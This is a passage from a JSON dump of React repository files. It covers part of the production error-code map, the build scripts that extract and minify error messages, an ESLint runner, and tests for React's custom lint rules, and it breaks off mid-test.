stylesheet with precedence to not be updated to a different kind of <link>. Check the `rel`, `href`, and `precedence` props of this component. Alternatively, check whether two different <link> components render in the same slot or share the same key.%s\",\n  \"530\": \"The render was aborted by the server with a promise.\",\n  \"531\": \"react-markup is not supported outside a React Server Components environment.\",\n  \"532\": \"Attempted to render a Client Component from renderToHTML. This is not supported since it will never hydrate. Only render Server Components with renderToHTML.\",\n  \"533\": \"Attempted to render a Server Action from renderToHTML. This is not supported since it varies by version of the app. Use a fixed URL for any forms instead.\",\n  \"534\": \"renderToHTML should not have emitted Client References. This is a bug in React.\",\n  \"535\": \"renderToHTML should not have emitted Server References. This is a bug in React.\",\n  \"536\": \"Cannot pass ref in renderToHTML because they will never be hydrated.\",\n  \"537\": \"Cannot pass event handlers (%s) in renderToHTML because the HTML will never be hydrated so they can never get called.\",\n  \"538\": \"Cannot use state or effect Hooks in renderToHTML because this component will never be hydrated.\",\n  \"539\": \"Binary RSC chunks cannot be encoded as strings. This is a bug in the wiring of the React streams.\",\n  \"540\": \"String chunks need to be passed in their original shape. Not split into smaller string chunks. This is a bug in the wiring of the React streams.\",\n  \"541\": \"Compared context values must be arrays\",\n  \"542\": \"Suspense Exception: This is not a real error! It's an implementation detail of `useActionState` to interrupt the current render. You must either rethrow it immediately, or move the `useActionState` call outside of the `try/catch` block. Capturing without rethrowing will lead to unexpected behavior.\\n\\nTo handle async errors, wrap your component in an error boundary.\",\n  \"543\": \"Expected a ResourceEffectUpdate to be pushed together with ResourceEffectIdentity. This is a bug in React.\",\n  \"544\": \"Found a pair with an auto name. This is a bug in React.\",\n  \"545\": \"The %s tag may only be rendered once.\",\n  \"546\": \"useEffect CRUD overload is not enabled in this build of React.\",\n  \"547\": \"startGesture cannot be called during server rendering.\",\n  \"548\": \"Finished rendering the gesture lane but there were no pending gestures. React should not have started a render in this case. This is a bug in React.\",\n  \"549\": \"Cannot start a gesture with a disconnected AnimationTimeline.\",\n  \"550\": \"startGestureTransition is not yet supported in react-art.\",\n  \"551\": \"startGestureTransition is not yet supported in React Native.\",\n  \"552\": \"Cannot use a startGestureTransition() on a detached root.\",\n  \"553\": \"A Timeline is required as the first argument to startGestureTransition.\",\n  \"554\": \"Cannot setState on regular state inside a startGestureTransition. Gestures can only update the useOptimistic() hook. There should be no side-effects associated with starting a Gesture until its Action is invoked. Move side-effects to the Action instead.\",\n  \"555\": \"Cannot requestFormReset() inside a startGestureTransition. There should be no side-effects associated with starting a Gesture until its Action is invoked. Move side-effects to the Action instead.\",\n  \"556\": \"Expected prepareToHydrateHostActivityInstance() to never be called. This error is likely caused by a bug in React. Please file an issue.\",\n  \"557\": \"Expected to have a hydrated activity instance. This error is likely caused by a bug in React. Please file an issue.\",\n  \"558\": \"Client rendering an Activity suspended it again. This is a bug in React.\",\n  \"559\": \"Expected to find a host node. This is a bug in React.\",\n  \"560\": \"Cannot use a startGestureTransition() with a comment node root.\",\n  \"561\": \"This rendered a large document (>%s kB) without any Suspense boundaries around most of it. That can delay initial paint longer than necessary. To improve load performance, add a <Suspense> or <SuspenseList> around the content you expect to be below the header or below the fold. In the meantime, the content will deopt to paint arbitrary incomplete pieces of HTML.\",\n  \"562\": \"The render was aborted due to a fatal error.\",\n  \"563\": \"This render completed successfully. All cacheSignals are now aborted to allow clean up of any unused resources.\",\n  \"564\": \"Unknown command. The debugChannel was not wired up properly.\",\n  \"565\": \"resolveDebugMessage/closeDebugChannel should not be called for a Request that wasn't kept alive. This is a bug in React.\",\n  \"566\": \"FragmentInstance.scrollIntoView() does not support scrollIntoViewOptions. Use the alignToTop boolean instead.\",\n  \"567\": \"Already initialized stream.\",\n  \"568\": \"Already initialized typed array.\",\n  \"569\": \"Cannot have cyclic thenables.\",\n  \"570\": \"Invalid reference.\",\n  \"571\": \"Maximum array nesting exceeded. Large nested arrays can be dangerous. Try adding intermediate objects.\",\n  \"572\": \"Already initialized Map.\",\n  \"573\": \"Already initialized Set.\",\n  \"574\": \"Invalid forward reference.\",\n  \"575\": \"Invalid Map initializer.\",\n  \"576\": \"Invalid Set initializer.\",\n  \"577\": \"Invalid Iterator initializer.\",\n  \"578\": \"Already initialized Iterator.\",\n  \"579\": \"Invalid data for bytes stream.\",\n  \"580\": \"Server Function has too many bound arguments. Received %s but the limit is %s.\",\n  \"581\": \"BigInt is too large. Received %s digits but the limit is %s.\",\n  \"582\": \"Referenced Blob is not a Blob.\",\n  \"583\": \"The current renderer does not support view transitions. This error is likely caused by a bug in React. Please file an issue.\"\n}\n"
  },
  {
    "path": "scripts/error-codes/extract-errors.js",
    "content": "'use strict';\n\nconst fs = require('fs');\nconst path = require('path');\nconst {execSync} = require('child_process');\n\nasync function main() {\n  const originalJSON = JSON.parse(\n    fs.readFileSync(path.resolve(__dirname, '../error-codes/codes.json'))\n  );\n  const existingMessages = new Set();\n  const codes = Object.keys(originalJSON);\n  let nextCode = 0;\n  for (let i = 0; i < codes.length; i++) {\n    const codeStr = codes[i];\n    const message = originalJSON[codeStr];\n    const code = parseInt(codeStr, 10);\n    existingMessages.add(message);\n    if (code >= nextCode) {\n      nextCode = code + 1;\n    }\n  }\n\n  console.log('Searching `build` directory for unminified errors...\\n');\n\n  let out;\n  try {\n    out = execSync(\n      \"git --no-pager grep -n --untracked --no-exclude-standard '/*! <expected-error-format>' -- build\"\n    ).toString();\n  } catch (e) {\n    if (e.status === 1 && e.stdout.toString() === '') {\n      // No unminified errors found.\n      return;\n    }\n    throw e;\n  }\n\n  let newJSON = null;\n  const regex = /\\<expected-error-format\\>\"(.+?)\"\\<\\/expected-error-format\\>/g;\n  do {\n    const match = regex.exec(out);\n    if (match === null) {\n      break;\n    } else {\n      const message = match[1].trim();\n      if (existingMessages.has(message)) {\n        // This probably means you ran the script twice.\n        continue;\n      }\n      existingMessages.add(message);\n\n      // Add to json map\n      if (newJSON === null) {\n        newJSON = Object.assign({}, originalJSON);\n      }\n      console.log(`\"${nextCode}\": \"${message}\"`);\n      newJSON[nextCode] = message;\n      nextCode += 1;\n    }\n  } while (true);\n\n  if (newJSON) {\n    fs.writeFileSync(\n      path.resolve(__dirname, '../error-codes/codes.json'),\n      JSON.stringify(newJSON, null, 2)\n    );\n  }\n}\n\nmain().catch(error => {\n  console.error(error);\n  process.exit(1);\n});\n"
  },
  {
    "path": "scripts/error-codes/invertObject.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\n/**\n * turns\n *   { 'MUCH ERROR': '0', 'SUCH WRONG': '1' }\n * into\n *   { 0: 'MUCH ERROR', 1: 'SUCH WRONG' }\n */\nfunction invertObject(targetObj) {\n  const result = {};\n  const mapKeys = Object.keys(targetObj);\n\n  // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n  for (const originalKey of mapKeys) {\n    const originalVal = targetObj[originalKey];\n\n    result[originalVal] = originalKey;\n  }\n\n  return result;\n}\n\nmodule.exports = invertObject;\n"
  },
  {
    "path": "scripts/error-codes/transform-error-messages.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n'use strict';\n\nconst fs = require('fs');\nconst {evalStringAndTemplateConcat} = require('../shared/evalToString');\nconst invertObject = require('./invertObject');\nconst helperModuleImports = require('@babel/helper-module-imports');\n\nconst errorMap = invertObject(\n  JSON.parse(fs.readFileSync(__dirname + '/codes.json', 'utf-8'))\n);\n\nconst SEEN_SYMBOL = Symbol('transform-error-messages.seen');\n\nmodule.exports = function (babel) {\n  const t = babel.types;\n\n  function ErrorCallExpression(path, file) {\n    // Turns this code:\n    //\n    // new Error(`A ${adj} message that contains ${noun}`);\n    //\n    // or this code (no constructor):\n    //\n    // Error(`A ${adj} message that contains ${noun}`);\n    //\n    // into this:\n    //\n    // Error(formatProdErrorMessage(ERR_CODE, adj, noun));\n    const node = path.node;\n    if (node[SEEN_SYMBOL]) {\n      return;\n    }\n    node[SEEN_SYMBOL] = true;\n\n    const errorMsgNode = node.arguments[0];\n    if (errorMsgNode === undefined) {\n      return;\n    }\n\n    const errorMsgExpressions = [];\n    const errorMsgLiteral = evalStringAndTemplateConcat(\n      errorMsgNode,\n      errorMsgExpressions\n    );\n\n    if (errorMsgLiteral === 'react-stack-top-frame') {\n      // This is a special case for generating stack traces.\n      return;\n    }\n\n    let prodErrorId = errorMap[errorMsgLiteral];\n    if (prodErrorId === undefined) {\n      // There is no error code for this message. Add an inline comment\n      // that flags this as an unminified error. This allows the build\n      // to proceed, while also allowing a post-build linter to detect it.\n      //\n      // Outputs:\n      //   /* FIXME (minify-errors-in-prod): Unminified error message in production build! */\n      //   /* <expected-error-format>\"A % message that contains %\"</expected-error-format> */\n      //   if (!condition) {\n      //     throw Error(`A ${adj} message that contains ${noun}`);\n      //   }\n\n      let leadingComments = [];\n\n      const statementParent = path.getStatementParent();\n      let nextPath = path;\n      while (true) {\n        let nextNode = nextPath.node;\n        if (nextNode.leadingComments) {\n          leadingComments.push(...nextNode.leadingComments);\n        }\n        if (nextPath === statementParent) {\n          break;\n        }\n        nextPath = nextPath.parentPath;\n      }\n\n      if (leadingComments !== undefined) {\n        for (let i = 0; i < leadingComments.length; i++) {\n          // TODO: Since this only detects one of many ways to disable a lint\n          // rule, we should instead search for a custom directive (like\n          // no-minify-errors) instead of ESLint. Will need to update our lint\n          // rule to recognize the same directive.\n          const commentText = leadingComments[i].value;\n          if (\n            commentText.includes(\n              'eslint-disable-next-line react-internal/prod-error-codes'\n            )\n          ) {\n            return;\n          }\n        }\n      }\n\n      statementParent.addComment(\n        'leading',\n        `! <expected-error-format>\"${errorMsgLiteral}\"</expected-error-format>`\n      );\n      statementParent.addComment(\n        'leading',\n        '! FIXME (minify-errors-in-prod): Unminified error message in production build!'\n      );\n      return;\n    }\n    prodErrorId = parseInt(prodErrorId, 10);\n\n    // Import formatProdErrorMessage\n    const formatProdErrorMessageIdentifier = helperModuleImports.addDefault(\n      path,\n      'shared/formatProdErrorMessage',\n      {nameHint: 'formatProdErrorMessage'}\n    );\n\n    // Outputs:\n    //   formatProdErrorMessage(ERR_CODE, adj, noun);\n    const prodMessage = t.callExpression(formatProdErrorMessageIdentifier, [\n      t.numericLiteral(prodErrorId),\n      ...errorMsgExpressions,\n    ]);\n\n    // Outputs:\n    // Error(formatProdErrorMessage(ERR_CODE, adj, noun));\n    const newErrorCall = t.callExpression(t.identifier('Error'), [\n      prodMessage,\n      ...node.arguments.slice(1),\n    ]);\n    newErrorCall[SEEN_SYMBOL] = true;\n    path.replaceWith(newErrorCall);\n  }\n\n  return {\n    visitor: {\n      NewExpression(path, file) {\n        if (path.get('callee').isIdentifier({name: 'Error'})) {\n          ErrorCallExpression(path, file);\n        }\n      },\n\n      CallExpression(path, file) {\n        if (path.get('callee').isIdentifier({name: 'Error'})) {\n          ErrorCallExpression(path, file);\n          return;\n        }\n      },\n    },\n  };\n};\n"
  },
  {
    "path": "scripts/eslint/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst minimatch = require('minimatch');\nconst {ESLint} = require('eslint');\nconst listChangedFiles = require('../shared/listChangedFiles');\n\nconst allPaths = ['**/*.js'];\n\nlet changedFiles = null;\n\nasync function runESLintOnFilesWithOptions(filePatterns, onlyChanged, options) {\n  const eslint = new ESLint(options);\n  const formatter = await eslint.loadFormatter();\n\n  if (onlyChanged && changedFiles === null) {\n    // Calculate lazily.\n    changedFiles = [...listChangedFiles()];\n  }\n  const finalFilePatterns = onlyChanged\n    ? intersect(changedFiles, filePatterns)\n    : filePatterns;\n  const results = await eslint.lintFiles(finalFilePatterns);\n\n  if (options != null && options.fix === true) {\n    await ESLint.outputFixes(results);\n  }\n\n  // When using `ignorePattern`, eslint will show `File ignored...` warnings for any ignores.\n  // We don't care because we *expect* some passed files will be ignores if `ignorePattern` is used.\n  const messages = results.filter(item => {\n    if (!onlyChanged) {\n      // Don't suppress the message on a full run.\n      // We only expect it to happen for \"only changed\" runs.\n      return true;\n    }\n    const ignoreMessage =\n      'File ignored because of a matching ignore pattern. Use \"--no-ignore\" to override.';\n    return !(item.messages[0] && item.messages[0].message === ignoreMessage);\n  });\n\n  const errorCount = results.reduce(\n    (count, result) => count + result.errorCount,\n    0\n  );\n  const warningCount = results.reduce(\n    (count, result) => count + result.warningCount,\n    0\n  );\n  const ignoredMessageCount = results.length - messages.length;\n  return {\n    output: formatter.format(messages),\n    errorCount: errorCount,\n    warningCount: warningCount - ignoredMessageCount,\n  };\n}\n\nfunction intersect(files, patterns) {\n  let intersection = [];\n  patterns.forEach(pattern => {\n    intersection = [\n      ...intersection,\n      ...minimatch.match(files, pattern, {matchBase: true}),\n    ];\n  });\n  return [...new Set(intersection)];\n}\n\nasync function runESLint({onlyChanged, paths, ...options}) {\n  if (typeof onlyChanged !== 'boolean') {\n    throw new Error('Pass options.onlyChanged as a boolean.');\n  }\n  if (onlyChanged && paths !== undefined) {\n    throw new Error('Cannot specify paths when onlyChanged is true.');\n  }\n  if (paths === undefined || paths.length === 0) {\n    paths = allPaths;\n  }\n  const {errorCount, warningCount, output} = await runESLintOnFilesWithOptions(\n    paths,\n    onlyChanged,\n    options\n  );\n  console.log(output);\n  return errorCount === 0 && warningCount === 0;\n}\n\nmodule.exports = runESLint;\n"
  },
  {
    "path": "scripts/eslint-rules/README.md",
    "content": "# Custom ESLint Rules\n\nThis is a dummy npm package that allows us to treat it as an `eslint-plugin`. It's not actually published, nor are the rules here useful for users of React. If you want to lint your React code, try <https://github.com/yannickcr/eslint-plugin-react>.\n\n**If you modify this rule, you must re-run `npm install ./eslint-rules` for it to take effect.**\n"
  },
  {
    "path": "scripts/eslint-rules/__tests__/no-primitive-constructors-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst rule = require('../no-primitive-constructors');\nconst {RuleTester} = require('eslint');\nconst ruleTester = new RuleTester();\n\nruleTester.run('eslint-rules/no-primitive-constructors', rule, {\n  valid: ['!!obj', '+string'],\n  invalid: [\n    {\n      code: 'Boolean(obj)',\n      errors: [\n        {\n          message:\n            'Do not use the Boolean constructor. To cast a value to a boolean, use double negation: !!value',\n        },\n      ],\n    },\n    {\n      code: 'new String(obj)',\n      errors: [\n        {\n          message:\n            \"Do not use `new String()`. Use String() without new (or '' + value for perf-sensitive code).\",\n        },\n      ],\n    },\n    {\n      code: 'Number(string)',\n      errors: [\n        {\n          message:\n            'Do not use the Number constructor. To cast a value to a number, use the plus operator: +value',\n        },\n      ],\n    },\n  ],\n});\n"
  },
  {
    "path": "scripts/eslint-rules/__tests__/no-production-logging-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst rule = require('../no-production-logging');\nconst {RuleTester} = require('eslint');\nconst ruleTester = new RuleTester();\n\nruleTester.run('no-production-logging', rule, {\n  valid: [\n    {\n      code: `\n        if (__DEV__) {\n          console.error('Oh no');\n        }\n      `,\n    },\n    {\n      code: `\n        if (__DEV__) {\n          console.error('Hello %s', foo)\n        }\n      `,\n    },\n    {\n      code: `\n        if (__DEV__) {\n          console.error('Hello %s %s', foo, bar)\n        }\n      `,\n    },\n    {\n      code: `\n        if (__DEV__) {\n          console.warn('Oh no');\n        }\n      `,\n    },\n    {\n      code: `\n        if (__DEV__) {\n          console.warn('Oh no');\n        }\n      `,\n    },\n    // This is OK too because it's wrapped outside:\n    {\n      code: `\n        if (__DEV__) {\n          if (potato) {\n            while (true) {\n              console.error('Oh no');\n            }\n          }\n        }`,\n    },\n    {\n      code: `\n        var f;\n        if (__DEV__) {\n          f = function() {\n            if (potato) {\n              while (true) {\n                console.error('Oh no');\n              }\n            }\n          };\n        }`,\n    },\n    // Don't do anything with these:\n    {\n      code: 'normalFunctionCall(test);',\n    },\n    {\n      code: 'invariant(test);',\n    },\n    {\n      code: `\n        if (__DEV__) {\n          normalFunctionCall(test);\n        }\n      `,\n    },\n    // This is OK because of the outer if.\n    {\n      code: `\n        if (__DEV__) {\n          if (foo) {\n            if (__DEV__) {\n            } else {\n              console.error('Oh no');\n            }\n          }\n        }`,\n    },\n    {\n      // This is an escape hatch that makes it fire in production.\n      code: `\n        console['error']('Oh no');\n      `,\n    },\n  ],\n  invalid: [\n    {\n      code: \"console.error('Oh no');\",\n      output: \"if (__DEV__) {console.error('Oh no')};\",\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: \"console.warn('Oh no');\",\n      output: \"if (__DEV__) {console.warn('Oh no')};\",\n      errors: [\n        {\n          message: `Wrap console.warn() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: \"console.warn('Oh no')\",\n      output: \"if (__DEV__) {console.warn('Oh no')}\",\n      errors: [\n        {\n          message: `Wrap console.warn() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (potato) {\n          console.warn('Oh no');\n        }\n      `,\n      output: `\n        if (potato) {\n          if (__DEV__) {console.warn('Oh no')};\n        }\n      `,\n      errors: [\n        {\n          message: `Wrap console.warn() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (__DEV__ || potato && true) {\n          console.error('Oh no');\n        }\n      `,\n      output: `\n        if (__DEV__ || potato && true) {\n          if (__DEV__) {console.error('Oh no')};\n        }\n      `,\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (banana && __DEV__ && potato && kitten) {\n          console.error('Oh no');\n        }\n      `,\n      output: `\n        if (banana && __DEV__ && potato && kitten) {\n          if (__DEV__) {console.error('Oh no')};\n        }\n      `,\n      // Technically this code is valid but we prefer\n      // explicit standalone __DEV__ blocks that stand out.\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (!__DEV__) {\n          console.error('Oh no');\n        }\n      `,\n      output: `\n        if (!__DEV__) {\n          if (__DEV__) {console.error('Oh no')};\n        }\n      `,\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (foo || x && __DEV__) {\n          console.error('Oh no');\n        }\n      `,\n      output: `\n        if (foo || x && __DEV__) {\n          if (__DEV__) {console.error('Oh no')};\n        }\n      `,\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (__DEV__) {\n        } else {\n          console.error('Oh no');\n        }\n      `,\n      output: `\n        if (__DEV__) {\n        } else {\n          if (__DEV__) {console.error('Oh no')};\n        }\n      `,\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (__DEV__) {\n        } else {\n          if (__DEV__) {\n          } else {\n            console.error('Oh no');\n          }\n        }\n      `,\n      output: `\n        if (__DEV__) {\n        } else {\n          if (__DEV__) {\n          } else {\n            if (__DEV__) {console.error('Oh no')};\n          }\n        }\n      `,\n      errors: [\n        {\n          message: `Wrap console.error() in an \"if (__DEV__) {}\" check`,\n        },\n      ],\n    },\n    {\n      code: `\n        if (__DEV__) {\n          console.log('Oh no');\n        }\n      `,\n      errors: [\n        {\n          message: 'Unexpected use of console',\n        },\n      ],\n    },\n    {\n      code: `\n        if (__DEV__) {\n          console.log.apply(console, 'Oh no');\n        }\n      `,\n      errors: [\n        {\n          message: 'Unexpected use of console',\n        },\n      ],\n    },\n  ],\n});\n"
  },
  {
    "path": "scripts/eslint-rules/__tests__/prod-error-codes-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst rule = require('../prod-error-codes');\nconst {RuleTester} = require('eslint');\nconst ruleTester = new RuleTester({\n  parserOptions: {\n    ecmaVersion: 2017,\n  },\n});\n\nruleTester.run('eslint-rules/prod-error-codes', rule, {\n  valid: [\n    'arbitraryFunction(a, b)',\n    'Error(`Expected ${foo} target to be an array; got ${bar}`)',\n    \"Error('Expected ' + foo + ' target to be an array; got ' + bar)\",\n    'Error(`Expected ${foo} target to ` + `be an array; got ${bar}`)',\n  ],\n  invalid: [\n    {\n      code: \"Error('Not in error map')\",\n      errors: [\n        {\n          message:\n            'Error message does not have a corresponding production error ' +\n            'code. Add the following message to codes.json so it can be stripped from ' +\n            'the production builds:\\n\\n' +\n            'Not in error map',\n        },\n      ],\n    },\n    {\n      code: \"Error('Not in ' + 'error map')\",\n      errors: [\n        {\n          message:\n            'Error message does not have a corresponding production error ' +\n            'code. Add the following message to codes.json so it can be stripped from ' +\n            'the production builds:\\n\\n' +\n            'Not in error map',\n        },\n      ],\n    },\n    {\n      code: 'Error(`Not in ` + `error map`)',\n      errors: [\n        {\n          message:\n            'Error message does not have a corresponding production error ' +\n            'code. Add the following message to codes.json so it can be stripped from ' +\n            'the production builds:\\n\\n' +\n            'Not in error map',\n        },\n      ],\n    },\n    {\n      code: \"Error(`Not in ${'error'} map`)\",\n      errors: [\n        {\n          message:\n            'Error message does not have a corresponding production error ' +\n            'code. Add the following message to codes.json so it can be stripped from ' +\n            'the production builds:\\n\\n' +\n            'Not in %s map',\n        },\n      ],\n    },\n  ],\n});\n"
  },
  {
    "path": "scripts/eslint-rules/__tests__/safe-string-coercion-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst rule = require('../safe-string-coercion');\nconst {RuleTester} = require('eslint');\n\nRuleTester.setDefaultConfig({\n  parser: require.resolve('babel-eslint'),\n  parserOptions: {\n    ecmaVersion: 6,\n    sourceType: 'module',\n  },\n});\n\nconst ruleTester = new RuleTester();\n\nconst missingDevCheckMessage =\n  'Missing DEV check before this string coercion.' +\n  ' Check should be in this format:\\n' +\n  '  if (__DEV__) {\\n' +\n  '    checkXxxxxStringCoercion(value);\\n' +\n  '  }';\nconst prevStatementNotDevCheckMessage =\n  'The statement before this coercion must be a DEV check in this format:\\n' +\n  '  if (__DEV__) {\\n' +\n  '    checkXxxxxStringCoercion(value);\\n' +\n  '  }';\nconst message =\n  \"Using `'' + value` or `value + ''` is fast to coerce strings, but may throw.\" +\n  ' For prod code, add a DEV check from shared/CheckStringCoercion immediately' +\n  ' before this coercion.' +\n  ' For non-prod code and prod error handling, use `String(value)` instead.';\n\nruleTester.run('eslint-rules/safe-string-coercion', rule, {\n  valid: [\n    {\n      code: 'String(obj)',\n      options: [{isProductionUserAppCode: false}],\n    },\n    'String(obj)',\n    \"'a' + obj\",\n    `\n      function getValueForAttribute(\n        node,\n        name,\n        expected\n      ) {\n        if (__DEV__) {\n          var value = node.getAttribute(name);\n          if (__DEV__) {\n            checkAttributeStringCoercion(expected, name);\n          }\n          if (value === '' + expected) {\n            return expected;\n          }\n          return value;\n        }\n      }\n    `,\n    `\n      if (__DEV__) { checkFormFieldValueStringCoercion (obj) }\n      '' + obj;\n    `,\n    `\n      function f(a, index) {\n        if (typeof a === 'object' && a !== null && a.key != null) {\n          if (__DEV__) {\n            checkKeyStringCoercion(a.key);\n          }\n          return f('' + a.key);\n        }\n        return a;\n      }\n    `,\n    \"'' + i++\",\n    \"'' + +i\",\n    \"'' + +i\",\n    \"+i + ''\",\n    \"if (typeof obj === 'string') { '' + obj }\",\n    \"if (typeof obj === 'string' || typeof obj === 'number') { '' + obj }\",\n    \"if (typeof obj === 'string' && somethingElse) { '' + obj }\",\n    \"if (typeof obj === 'number' && somethingElse) { '' + obj }\",\n    \"if (typeof obj === 'bigint' && somethingElse) { '' + obj }\",\n    \"if (typeof obj === 'undefined' && somethingElse) { '' + obj }\",\n    \"if (typeof nextProp === 'number') { setTextContent(domElement, '' + nextProp); }\",\n    // These twe below are sneaky. The inner `if` is unsafe, but the outer `if`\n    // ensures that the unsafe code will never be run. It's bad code, but\n    // doesn't violate this rule.\n    \"if (typeof obj === 'string') { if (typeof obj === 'string' && obj.length) {} else {'' + obj} }\",\n    \"if (typeof obj === 'string') if (typeof obj === 'string' && obj.length) {} else {'' + obj}\",\n    \"'' + ''\",\n    \"'' + '' + ''\",\n    \"`test${foo}` + ''\",\n  ],\n  invalid: [\n    {\n      code: \"'' + obj\",\n      errors: [\n        {\n          message: missingDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: \"obj + ''\",\n      errors: [\n        {\n          message: missingDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: 'String(obj)',\n      options: [{isProductionUserAppCode: true}],\n      errors: [\n        {\n          message:\n            \"For perf-sensitive coercion, avoid `String(value)`. Instead, use `'' + value`.\" +\n            ' Precede it with a DEV check from shared/CheckStringCoercion' +\n            ' unless Symbol and Temporal.* values are impossible.' +\n            ' For non-prod code and prod error handling, use `String(value)` and disable this rule.',\n        },\n      ],\n    },\n    {\n      code: \"if (typeof obj === 'object') { '' + obj }\",\n      errors: [\n        {\n          message: missingDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: \"if (typeof obj === 'string') { } else if (typeof obj === 'object') {'' + obj}\",\n      errors: [\n        {\n          message: missingDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: \"if (typeof obj === 'string' && obj.length) {} else {'' + obj}\",\n      errors: [\n        {\n          message: missingDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: `\n          if (__D__) { checkFormFieldValueStringCoercion (obj) }\n          '' + obj;\n        `,\n      errors: [\n        {\n          message: prevStatementNotDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: `\n          if (__DEV__) { checkFormFieldValueStringCoercion (obj) }\n          '' + notobjj;\n        `,\n      errors: [\n        {\n          message:\n            'Value passed to the check function before this coercion must match the value being coerced.' +\n            '\\n' +\n            message,\n        },\n      ],\n    },\n    {\n      code: `\n          if (__DEV__) { checkFormFieldValueStringCoercion (obj) }\n          // must be right before the check call\n          someOtherCode();\n          '' + objj;\n        `,\n      errors: [\n        {\n          message: prevStatementNotDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: `\n          if (__DEV__) { chexxxxBadNameCoercion (obj) }\n          '' + objj;\n        `,\n      errors: [\n        {\n          message:\n            'Missing or invalid check function call before this coercion.' +\n            ' Expected: call of a function like checkXXXStringCoercion. ' +\n            prevStatementNotDevCheckMessage +\n            '\\n' +\n            message,\n        },\n      ],\n    },\n    {\n      code: `\n          if (__DEV__) {  }\n          '' + objj;\n        `,\n      errors: [\n        {\n          message: prevStatementNotDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: `\n          if (__DEV__) { if (x) {} }\n          '' + objj;\n        `,\n      errors: [\n        {\n          message:\n            'The DEV block before this coercion must only contain an expression. ' +\n            prevStatementNotDevCheckMessage +\n            '\\n' +\n            message,\n        },\n      ],\n    },\n    {\n      code: `\n        if (a) {\n          if (__DEV__) {\n            // can't have additional code before the check call\n            if (b) {\n              checkKeyStringCoercion(obj);\n            }\n          }\n          g = f( c, d + (b ? '' + obj : '') + e);\n        }\n      `,\n      errors: [\n        {\n          message:\n            'The DEV block before this coercion must only contain an expression. ' +\n            prevStatementNotDevCheckMessage +\n            '\\n' +\n            message,\n        },\n      ],\n    },\n    {\n      code: `\n        if (__DEV__) {\n          checkAttributeStringCoercion(expected, name);\n        }\n        // DEV check should be inside the if block\n        if (a && b) {\n          f('' + expected);\n        }\n      `,\n      errors: [\n        {\n          message: missingDevCheckMessage + '\\n' + message,\n        },\n      ],\n    },\n    {\n      code: `'' + obj + ''`,\n      errors: [\n        {message: missingDevCheckMessage + '\\n' + message},\n        {message: missingDevCheckMessage + '\\n' + message},\n      ],\n    },\n    {\n      code: `foo\\`text\\` + \"\"`,\n      errors: [{message: missingDevCheckMessage + '\\n' + message}],\n    },\n  ],\n});\n"
  },
  {
    "path": "scripts/eslint-rules/__tests__/warning-args-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst rule = require('../warning-args');\nconst {RuleTester} = require('eslint');\nconst ruleTester = new RuleTester();\n\nruleTester.run('eslint-rules/warning-args', rule, {\n  valid: [\n    \"console.error('hello, world');\",\n    \"console.error('expected %s, got %s', 42, 24);\",\n    'arbitraryFunction(a, b)',\n  ],\n  invalid: [\n    {\n      code: 'console.error(null);',\n      errors: [\n        {\n          message:\n            'The first argument to console.error must be a string literal',\n        },\n      ],\n    },\n    {\n      code: 'console.warn(null);',\n      errors: [\n        {\n          message:\n            'The first argument to console.warn must be a string literal',\n        },\n      ],\n    },\n    {\n      code: 'var g = 5; console.error(g);',\n      errors: [\n        {\n          message:\n            'The first argument to console.error must be a string literal',\n        },\n      ],\n    },\n    {\n      code: \"console.error('expected %s, got %s');\",\n      errors: [\n        